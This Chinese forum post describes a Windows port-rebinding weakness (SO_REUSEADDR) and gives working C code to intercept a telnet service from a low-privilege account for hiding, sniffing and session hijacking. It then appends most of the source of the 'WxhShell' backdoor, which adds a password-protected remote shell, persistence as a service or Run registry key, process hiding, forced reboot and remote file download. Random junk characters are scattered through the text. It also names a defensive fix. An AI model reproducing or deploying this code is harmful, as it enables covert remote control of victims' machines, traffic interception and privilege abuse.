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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _?<Y>B, E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zk5sAHQ  
zf $&+E-  
  saddr.sin_family = AF_INET; :}x\&]uC#k  
piJ/e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1Uz'= a  
}`6-^lj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^k&zX!W  
I9*o[Jp5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  z:9  
xou7j   
  这意味着什么?意味着可以进行如下的攻击: Dntcv|%u  
$D5[12X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Na: M1Uhb  
;d G.oUk=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TFbCJ@X  
A}C&WT~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )<G>]IP<  
d|TRP,y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gXI_S9 z  
2g-'.w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d hiLv_/  
RBr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @dX0gHU[c  
U#G uB&V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S1uW`zQ!+_  
*7oPM5J|v  
  #include mkYM/*qyM&  
  #include g*t.g@B<2  
  #include qMYR\4"$  
  #include    G39H@@ *O0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q nZR  
  int main() ^q"p 8   
  { [ /*$?PXt  
  WORD wVersionRequested; ({D.oS  
  DWORD ret; .6!]RA5!=  
  WSADATA wsaData; J&^r}6D  
  BOOL val; :eS7"EG{3  
  SOCKADDR_IN saddr; n-,~Bp [  
  SOCKADDR_IN scaddr; o"[P++qd  
  int err; nhk +9  
  SOCKET s; "V~U{(Z  
  SOCKET sc; +;#hED; 8  
  int caddsize; }@@1N3nnxV  
  HANDLE mt; H:U1#bQQ:  
  DWORD tid;   ;G!X?(%+  
  wVersionRequested = MAKEWORD( 2, 2 ); meR%);\  
  err = WSAStartup( wVersionRequested, &wsaData ); v|_?qBs"  
  if ( err != 0 ) { l,h#RTfry  
  printf("error!WSAStartup failed!\n"); IOF~V)8k=  
  return -1; HG@!J>YaD  
  } '\1%%F7  
  saddr.sin_family = AF_INET; Q9K Gf;  
   R.A}tV=j#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ec1snMY  
8v1asFxs.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6#N1 -@  
  saddr.sin_port = htons(23); \ :})R{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *bn9j>|iv  
  { A42At]  
  printf("error!socket failed!\n"); \_@u"+,$W  
  return -1; =%U t&6}sQ  
  } 5 W(iU  
  val = TRUE; Ul@ZCv+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~/3cQN^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1}S_CR4XBs  
  { WSDNTfpI  
  printf("error!setsockopt failed!\n"); _<;#=l  
  return -1; wVE"nN#  
  } SZG8@ !_}7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BOL_kp"   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3I:DL#f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %Tsefs?_  
FD|R4 V*3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GD[~4G  
  { :KX/`   
  ret=GetLastError(); H=X>o.iVqi  
  printf("error!bind failed!\n"); zF)_t S  
  return -1; m>:%[vm  
  } ddnWr"_  
  listen(s,2); }C" #b\A2  
  while(1) ct~lt'L\  
  { NWCnt,FlY  
  caddsize = sizeof(scaddr); l[ @\!;|  
  //接受连接请求 iCAd7=o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ih+kh7J-  
  if(sc!=INVALID_SOCKET) b4%IyJr  
  { Syp|s3u;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I_pA)P*Q(6  
  if(mt==NULL) 0)ST_2Ci  
  { +Ya-h~7;g#  
  printf("Thread Creat Failed!\n");  C&e  
  break; % Pa-fee  
  } `9K'I-hv<8  
  } H:[z#f|t  
  CloseHandle(mt); 3J'a  
  } Y#]Y$n  
  closesocket(s); W:rzfO.`Z  
  WSACleanup(); DT9i<kl  
  return 0; C 2oll-kN  
  }   b17p; wS  
  DWORD WINAPI ClientThread(LPVOID lpParam) G>:l(PW:  
  { #Q'i/|g   
  SOCKET ss = (SOCKET)lpParam; B]*&lRR  
  SOCKET sc; gmLw.|-  
  unsigned char buf[4096]; \Z+v\5nmO  
  SOCKADDR_IN saddr; }ZYK3F  
  long num; n1sH`C[c  
  DWORD val; `=-}S+  
  DWORD ret; $S,Uoh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6_XX[.%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zZiB`%  
  saddr.sin_family = AF_INET; U4N S.`V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `M7){  
  saddr.sin_port = htons(23); e6F:['j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FswFY7 8  
  { cz T@txF  
  printf("error!socket failed!\n"); dk(-yv'  
  return -1; }U^9(  
  } [MiD%FfcNH  
  val = 100; (n`\b47  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qtgK}*9ptv  
  { %mcuYR'D}  
  ret = GetLastError(); G^2"\4R]p  
  return -1; zG @!(  
  } G&uj}rj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /`s^.Xh  
  { P@5^`b|  
  ret = GetLastError(); fA 3  
  return -1; U;jk+i  
  } o9~qJnB/O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h M8G"b  
  { qQ1m5_OD`z  
  printf("error!socket connect failed!\n"); E'r* g{,  
  closesocket(sc); [j!0R'T  
  closesocket(ss); n[iil$VKh  
  return -1; 5;|9bWH  
  } 1qQgAhoY  
  while(1) hD$U8~zK  
  { Pc(2'r@#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3BSeZ:j7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s-C.+9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M?\)&2f[Z  
  num = recv(ss,buf,4096,0); F~DG:x~  
  if(num>0) Ffhbs D  
  send(sc,buf,num,0); g{D&|qWj  
  else if(num==0) ol YSr .Q`  
  break; Vy/g;ZPU1  
  num = recv(sc,buf,4096,0); +s S*EvF  
  if(num>0) D8dTw{C  
  send(ss,buf,num,0); C#r`oZS1  
  else if(num==0) J]~fv9~P  
  break; C$(t`G  
  } 6*LU+U=`  
  closesocket(ss); -B4v1{An  
  closesocket(sc); rmhCuY?f  
  return 0 ; n!N;WL3k  
  } A>4k4*aFm#  
l y%**iN  
+f7?L]wzic  
========================================================== ivagS\Q  
zm~~mz A  
下边附上一个代码,,WXhSHELL C>MoR3]  
22*t%{(  
========================================================== I|LS_m  
z$<6;2  
#include "stdafx.h" {?jdPh  
z%AIv%  
#include <stdio.h> q2 f/#"k  
#include <string.h> q%y_<Fw#E  
#include <windows.h> sZbzY^P  
#include <winsock2.h> O%)9t FT  
#include <winsvc.h> MkYem6  
#include <urlmon.h> z44uhRh  
B!N807  
#pragma comment (lib, "Ws2_32.lib") NrU -%!Aw  
#pragma comment (lib, "urlmon.lib") NV91{o(-7  
b1& {%.3[  
#define MAX_USER   100 // 最大客户端连接数 KYl^{F  
#define BUF_SOCK   200 // sock buffer BsRas  
#define KEY_BUFF   255 // 输入 buffer M"FAUqz`  
hZ#tB  
#define REBOOT     0   // 重启 ,U tw!]  
#define SHUTDOWN   1   // 关机 SP*5 W)6  
,AD| u_pP  
#define DEF_PORT   5000 // 监听端口 M\<!m^~  
Sx~_p3_5U  
#define REG_LEN     16   // 注册表键长度 RXof$2CZS  
#define SVC_LEN     80   // NT服务名长度 '~f@p~P  
Z8#I  
// 从dll定义API :E^B~ OuL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hKT:@l*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JZY=2q&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FU[,,a0<<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [@y=% \%R  
XnY}dsS O  
// wxhshell配置信息 ]_=HC5"  
struct WSCFG { 8qc %{8  
  int ws_port;         // 监听端口 (o:Cxh V  
  char ws_passstr[REG_LEN]; // 口令 M!hby31  
  int ws_autoins;       // 安装标记, 1=yes 0=no !'gz&3B~h  
  char ws_regname[REG_LEN]; // 注册表键名 n=SZ8Rj7  
  char ws_svcname[REG_LEN]; // 服务名 c%U$qao=c+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mQvKreo~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IMR|a*=`c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5]Ra?rF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UxvsSHi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3D.S[^s*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gu}x+hG  
"@?|Vv,vn  
}; %~;Q_#CR/K  
bc4x"]!  
// default Wxhshell configuration wW<"l"x,  
struct WSCFG wscfg={DEF_PORT, Wu4Nq+  
    "xuhuanlingzhe", d-<y'GYw  
    1, @r]s9~Lx9  
    "Wxhshell", ZYt __N  
    "Wxhshell", Gh|!FRK[$  
            "WxhShell Service", u`'z~N4}  
    "Wrsky Windows CmdShell Service", .fsk DW  
    "Please Input Your Password: ", }>w  
  1, I:_*8el&d  
  "http://www.wrsky.com/wxhshell.exe", 9aU:[]w  
  "Wxhshell.exe" GA_`C"mx  
    }; Riw7<j  
Q kZM(pG  
// 消息定义模块 eE{L>u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :.Qe=}9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xI: 'Hk1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xs I/DW  
char *msg_ws_ext="\n\rExit."; mCt>s9a)H  
char *msg_ws_end="\n\rQuit."; &o/4hnHYt  
char *msg_ws_boot="\n\rReboot..."; BXo|CITso  
char *msg_ws_poff="\n\rShutdown..."; w&"w"  
char *msg_ws_down="\n\rSave to "; =.X?LWKY  
f>5RAg  
char *msg_ws_err="\n\rErr!"; ZQkw}3*n  
char *msg_ws_ok="\n\rOK!"; z;C=d(|nN  
.lBY"W&{  
char ExeFile[MAX_PATH]; |3,V%>z  
int nUser = 0; |3s&Y`x-D  
HANDLE handles[MAX_USER]; k4$q|x7+%  
int OsIsNt; KY`96~z  
xN m32~  
SERVICE_STATUS       serviceStatus; y,&M\3A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hcgc =$^  
p},Fwbl  
// 函数声明 .G_3blE;  
int Install(void); M#cr*%  
int Uninstall(void); 0Ad ~!Y+1  
int DownloadFile(char *sURL, SOCKET wsh); dn\F!  
int Boot(int flag); 0Mu8ZVI{  
void HideProc(void); o$ce1LO?|N  
int GetOsVer(void); KF_Wu}q d  
int Wxhshell(SOCKET wsl); ^A[`NYK  
void TalkWithClient(void *cs); v7(|K  
int CmdShell(SOCKET sock); 8}{o2r@  
int StartFromService(void); d `kM0C  
int StartWxhshell(LPSTR lpCmdLine); HD)HCDTX  
~J-|,ZMd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =_=Z;#`cXk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b_jZL'en  
eqZ+no  
// 数据结构和表定义 -+rF]|Wi  
SERVICE_TABLE_ENTRY DispatchTable[] = !Gp3/<"Wy$  
{ _`_IUuj$E  
{wscfg.ws_svcname, NTServiceMain}, !e'0jf-~  
{NULL, NULL} O_Rcd&<mr  
}; &@HNz6KO  
ix9HSa{d  
// 自我安装 <i'u96  
int Install(void) ) , ]2`w&k  
{ H@MFj>~  
  char svExeFile[MAX_PATH]; [-t> G!)  
  HKEY key; '95E;RV&  
  strcpy(svExeFile,ExeFile); )6>|bmpU  
a*':W%7  
// 如果是win9x系统,修改注册表设为自启动 K@P`_yxN  
if(!OsIsNt) { EotwUT|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e?| URW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T]6c9_  
  RegCloseKey(key); [9O~$! <%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7p.h{F'A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ok>(>K<r  
  RegCloseKey(key); P$3=i`X!nw  
  return 0; VL7S7pb_  
    }  C5+`<  
  } So=nB} b[?  
}  oKYhE  
else { zNny\Z  
M7DLs;sD  
// 如果是NT以上系统,安装为系统服务 7y)=#ZG'R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |jk-@ Z*  
if (schSCManager!=0) QM ZUt  
{ Y#lk!#\Y  
  SC_HANDLE schService = CreateService F@ $RV_M  
  ( _@!QY   
  schSCManager, X&(ERY,h  
  wscfg.ws_svcname, ,|.8nk"  
  wscfg.ws_svcdisp, xIQ/$[&v  
  SERVICE_ALL_ACCESS, MkDK/K$s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;T.s!B$Uu  
  SERVICE_AUTO_START, nU&NopD+*G  
  SERVICE_ERROR_NORMAL, bEBBwv  
  svExeFile, yQZ/ ,KX  
  NULL, ^m_^  
  NULL, {OO*iZ.O  
  NULL, OK-sT7But  
  NULL, E69:bQ94u  
  NULL qBy NHo7Tb  
  ); i Y*o;z,~  
  if (schService!=0) U|J$?aFDr  
  { 5fu+rU-#  
  CloseServiceHandle(schService); l Io9,Ke  
  CloseServiceHandle(schSCManager); A<SOT>m]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d1V^2Hb?  
  strcat(svExeFile,wscfg.ws_svcname); DD!MGf/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {N!E5*$Tr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .Iw ur;/\  
  RegCloseKey(key); .?rbny  
  return 0; 8QVE_ Eu  
    } StU  4{  
  } mDQEXMD  
  CloseServiceHandle(schSCManager); rGnI(m.  
} [1b6#I"x  
} =.36y9Mfo  
_F`$ d2  
return 1; !/Iq{2LX  
} 0]T.Lh$3  
rQ~\~g[tP  
// 自我卸载 1BQ0M{&  
int Uninstall(void) I tI0x  
{ AH2 _#\  
  HKEY key; 'tb(J3ZP  
;)(Sdf[P  
if(!OsIsNt) { p)B33Z zC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6a4'xq7  
  RegDeleteValue(key,wscfg.ws_regname);  8]q  
  RegCloseKey(key); CmEpir{}(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,3Wb4so  
  RegDeleteValue(key,wscfg.ws_regname); L*g. 6+2  
  RegCloseKey(key); 5Vp;dc  
  return 0; lWx  
  } *jk3 \KaoV  
} &?.n2+T+ =  
} (C daE!I4Q  
else { Go>wo/Sb  
DR:8oo&E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fdlvn*H  
if (schSCManager!=0) ]} 61vV  
{ q$r&4s)To  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sl/=g   
  if (schService!=0) z Yw;q3"  
  { U;xu/xDRi  
  if(DeleteService(schService)!=0) { EL^8zyg%%  
  CloseServiceHandle(schService); ))7LE|1l  
  CloseServiceHandle(schSCManager); eV"!/A2:N5  
  return 0; S4cpQq.  
  } 'X7%35Y  
  CloseServiceHandle(schService); >i "qMZ  
  } =p <?Hu  
  CloseServiceHandle(schSCManager); qysTjGwa]  
} iI5+P`sE&J  
} f UC9-?(K  
L0rip5[;d  
return 1; ;{vwBDV!'  
} lT8#bA  
3&'2aW   
// 从指定url下载文件 <W>++< -  
int DownloadFile(char *sURL, SOCKET wsh) aaDP9FW9e  
{ )Im3'0l>  
  HRESULT hr; 9\HR60V  
char seps[]= "/"; sI_7U^"[  
char *token; eGm:)   
char *file; ]' Y|N l  
char myURL[MAX_PATH]; !p9)CjQ"  
char myFILE[MAX_PATH]; I>PZYh'.T  
kv6Cp0uFg  
strcpy(myURL,sURL); `@[l\.Vt:  
  token=strtok(myURL,seps); LL&ud_Y  
  while(token!=NULL) 7A5p["?Z  
  { U-i.(UyZ  
    file=token; vT|`%~Be  
  token=strtok(NULL,seps); HPrq1QpK  
  } q:I$EpKf?Q  
j5Qo*p  
GetCurrentDirectory(MAX_PATH,myFILE); ,`k _|//}=  
strcat(myFILE, "\\"); K]c4"JJ  
strcat(myFILE, file); kb71q:[  
  send(wsh,myFILE,strlen(myFILE),0); j^flwk  
send(wsh,"...",3,0); \v+u;6cx_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~#R9i^Y  
  if(hr==S_OK) 'JieIKu  
return 0; C|MQ $~5:w  
else ,~COZi;R.D  
return 1; bLzs?eos  
Mi+H#xx16  
} 0Vkl`DmeM.  
e  ^Ds  
// 系统电源模块 'Gx$Bj  
int Boot(int flag) NYwR2oX  
{ G8nrdN-9  
  HANDLE hToken; .`jo/,?+O  
  TOKEN_PRIVILEGES tkp; tF*szf|$-  
QT! 4[,4  
  if(OsIsNt) { A4.4Dji,x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); > _ <'D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @@@=}!<H=  
    tkp.PrivilegeCount = 1; =pcF:D#+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .%}?b~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7tNc=,x}  
if(flag==REBOOT) { rq sdE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `:e U.  
  return 0; -&|: 0#@P  
} {`(>O"_[Q  
else { {o0qUX>[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Dg <Ki  
  return 0; sV/l5]b]  
} O:'?n8rWL  
  } +vW)vS[  
  else { :w`3cw Q  
if(flag==REBOOT) { l.`u5D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .~>?*}  
  return 0; K<4Kk3  
} 5!I4l1  
else { k1^\|   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]}Z4P-"t  
  return 0; ST5V!jz  
} -#In;~  
} QzOkpewf  
,E;;wdIt  
return 1; )?=YT  
} (Glr\q]jF\  
=w$tvo/  
// win9x进程隐藏模块 26I  
void HideProc(void)  foRD{Hx  
{ Os&n  
Su8|R"qU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \25/$Ae}c  
  if ( hKernel != NULL ) cc}Key@D  
  { 7a4o1;l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :kMHRm@{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x YfD()w<I  
    FreeLibrary(hKernel); eS+g|$cW  
  } ~g#r6pzN-  
,](:<A)W&  
return; _;1}x%4v  
} >j*;vG5T  
WIr2{+#  
// 获取操作系统版本 5%zXAQD=<  
int GetOsVer(void) Pq9|WV#F5/  
{ yWDTjY/  
  OSVERSIONINFO winfo; aE"[5*a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G{Yz8]m  
  GetVersionEx(&winfo); 3S*AxAeg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y [#pC<^  
  return 1;  =<}<Ny  
  else 7O5`v(<9n>  
  return 0; 5U`ZbG  
} 0 B@n{PvR0  
{q%Sx*k9[  
// 客户端句柄模块 {@W93=Vq8  
int Wxhshell(SOCKET wsl) .Jx9bIw  
{ h RC  
  SOCKET wsh; wh6yPVVF/  
  struct sockaddr_in client; *N'K/36;  
  DWORD myID; ;0rGiWC#  
T9W`?A  
  while(nUser<MAX_USER) dCyqvg6u  
{ Ub1hHA*)  
  int nSize=sizeof(client); %`MQmXgM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #Z+i~t{e(  
  if(wsh==INVALID_SOCKET) return 1;  hc#!Lv  
O.aG[ wm8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d^03"t0O]  
if(handles[nUser]==0) N`@NiJ(O;  
  closesocket(wsh); Vd^g9  
else E 99hlY~1:  
  nUser++; $YxBE`)d-  
  } (*}yjUYLZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S$)*&46g  
>Y7a4~ufko  
  return 0; 2H71~~ c  
} KmG  
T>TWU:  
// 关闭 socket ca i <,3H  
void CloseIt(SOCKET wsh) 32DbNEk  
{ zgx&Pte  
closesocket(wsh); L`f^y;Y.  
nUser--; 5oEV-6  
ExitThread(0); o#) {1<0vg  
} *IgE)N >  
De7T s  
// 客户端请求句柄 =4V&*go*\  
void TalkWithClient(void *cs) ZkL8e  
{ dQoYCS}IaV  
4[Z\ ?[  
  SOCKET wsh=(SOCKET)cs; glDcUCF3  
  char pwd[SVC_LEN]; v+p {|X-  
  char cmd[KEY_BUFF]; d->|EJP  
char chr[1]; XO#/Fv!  
int i,j; rX_@Ihv'  
X%z }VA  
  while (nUser < MAX_USER) { +$4(zP s@  
L,y6^J!  
if(wscfg.ws_passstr) { Z^ }mp@j>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); infl.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lg8nj< TF  
  //ZeroMemory(pwd,KEY_BUFF); zp\8_U @  
      i=0; S$KFf=0  
  while(i<SVC_LEN) { XE^)VLH:  
 _zlqtO  
  // 设置超时 zvABU+{jD  
  fd_set FdRead; fYKOJ5f  
  struct timeval TimeOut; C{TA.\   
  FD_ZERO(&FdRead); hxce\OuU0h  
  FD_SET(wsh,&FdRead); %ZHP2j %~  
  TimeOut.tv_sec=8; oFjIA!  
  TimeOut.tv_usec=0; ;&H4u)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z/i+EE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 21k5I #U  
NM ]bgpP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zdXkR]  
  pwd=chr[0]; $kR N h6  
  if(chr[0]==0xd || chr[0]==0xa) { OL4z%mDZi  
  pwd=0; Y5fLmPza  
  break; U(~+o  
  } &-(463  
  i++; 3u%{dGa  
    } z-M3  
9x,RvWTb  
  // 如果是非法用户,关闭 socket ]Q[p@gLd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jzU.Bu.  
} +`?Y?L^ J  
Y*mbjyt[?X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pr%nbl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \u6^Varw  
l5L.5 $N  
while(1) { ^vG8#A}]  
<uj 8lctmP  
  ZeroMemory(cmd,KEY_BUFF); pp9Zb.D\  
mPq$?gdp  
      // 自动支持客户端 telnet标准   wAnb Di{W  
  j=0; !w&kyW?e  
  while(j<KEY_BUFF) { zYl#4O`=c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C8F7bG8c  
  cmd[j]=chr[0]; sz9L8f2  
  if(chr[0]==0xa || chr[0]==0xd) { CI3XzH\IX*  
  cmd[j]=0; `/Y{ l  
  break; yf&7P;A  
  } <&)v~-&O  
  j++; 0uBl>A7qhn  
    } 2NB L}x  
`xrmT t X  
  // 下载文件 5dZ|!  
  if(strstr(cmd,"http://")) { 1sYEZO;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m3o,@=b  
  if(DownloadFile(cmd,wsh)) O%r;5kP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @)SL_9  
  else OyqNLR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >E*$ E  
  } ,o]4?-  
  else { ?yh}/T\qp  
*L!!]Q2c  
    switch(cmd[0]) { MDF%\Sx  
  g2unV[()_  
  // 帮助 =J1rlnaaEL  
  case '?': { #-h\.#s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pmX#E  
    break; 9cJH"  
  }  ? w^-  
  // 安装  & y<ZE  
  case 'i': { jsNF#yE>  
    if(Install()) Wh&8pH:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L/"0ws_  
    else LzYO$Ir:g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~F1:N>>_Cf  
    break; j(~ *'&|(  
    } dDnf^7q/  
  // 卸载 [TNj;o5J  
  case 'r': { s: 3z'4oX  
    if(Uninstall())  6m6zA/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <8,cuX\  
    else ne^imht  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _V\Bp=9W  
    break; dg^L=  
    } je]}R>[r5  
  // 显示 wxhshell 所在路径 iDf,e Kk$'  
  case 'p': { u :F~K  
    char svExeFile[MAX_PATH]; O@YTAT&d#  
    strcpy(svExeFile,"\n\r"); =|=.>?t6Z0  
      strcat(svExeFile,ExeFile);  x]z2Z*  
        send(wsh,svExeFile,strlen(svExeFile),0); @BNEiOAZ#  
    break; p019)X|vx  
    } 1Z,[|wJ  
  // 重启 ^Idle*+  
  case 'b': { f  nI|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bO<CR  
    if(Boot(REBOOT)) hTwA%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'g9"Qv?0{`  
    else { [V}S <Xp  
    closesocket(wsh); IJ/sX_k  
    ExitThread(0); e${)w-R/e  
    } GIAc?;zY  
    break; Wq^qpN)5Y  
    } w^]6w\p  
  // 关机 UQ4% Xp  
  case 'd': { nJ" '  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oTT7M`P3h  
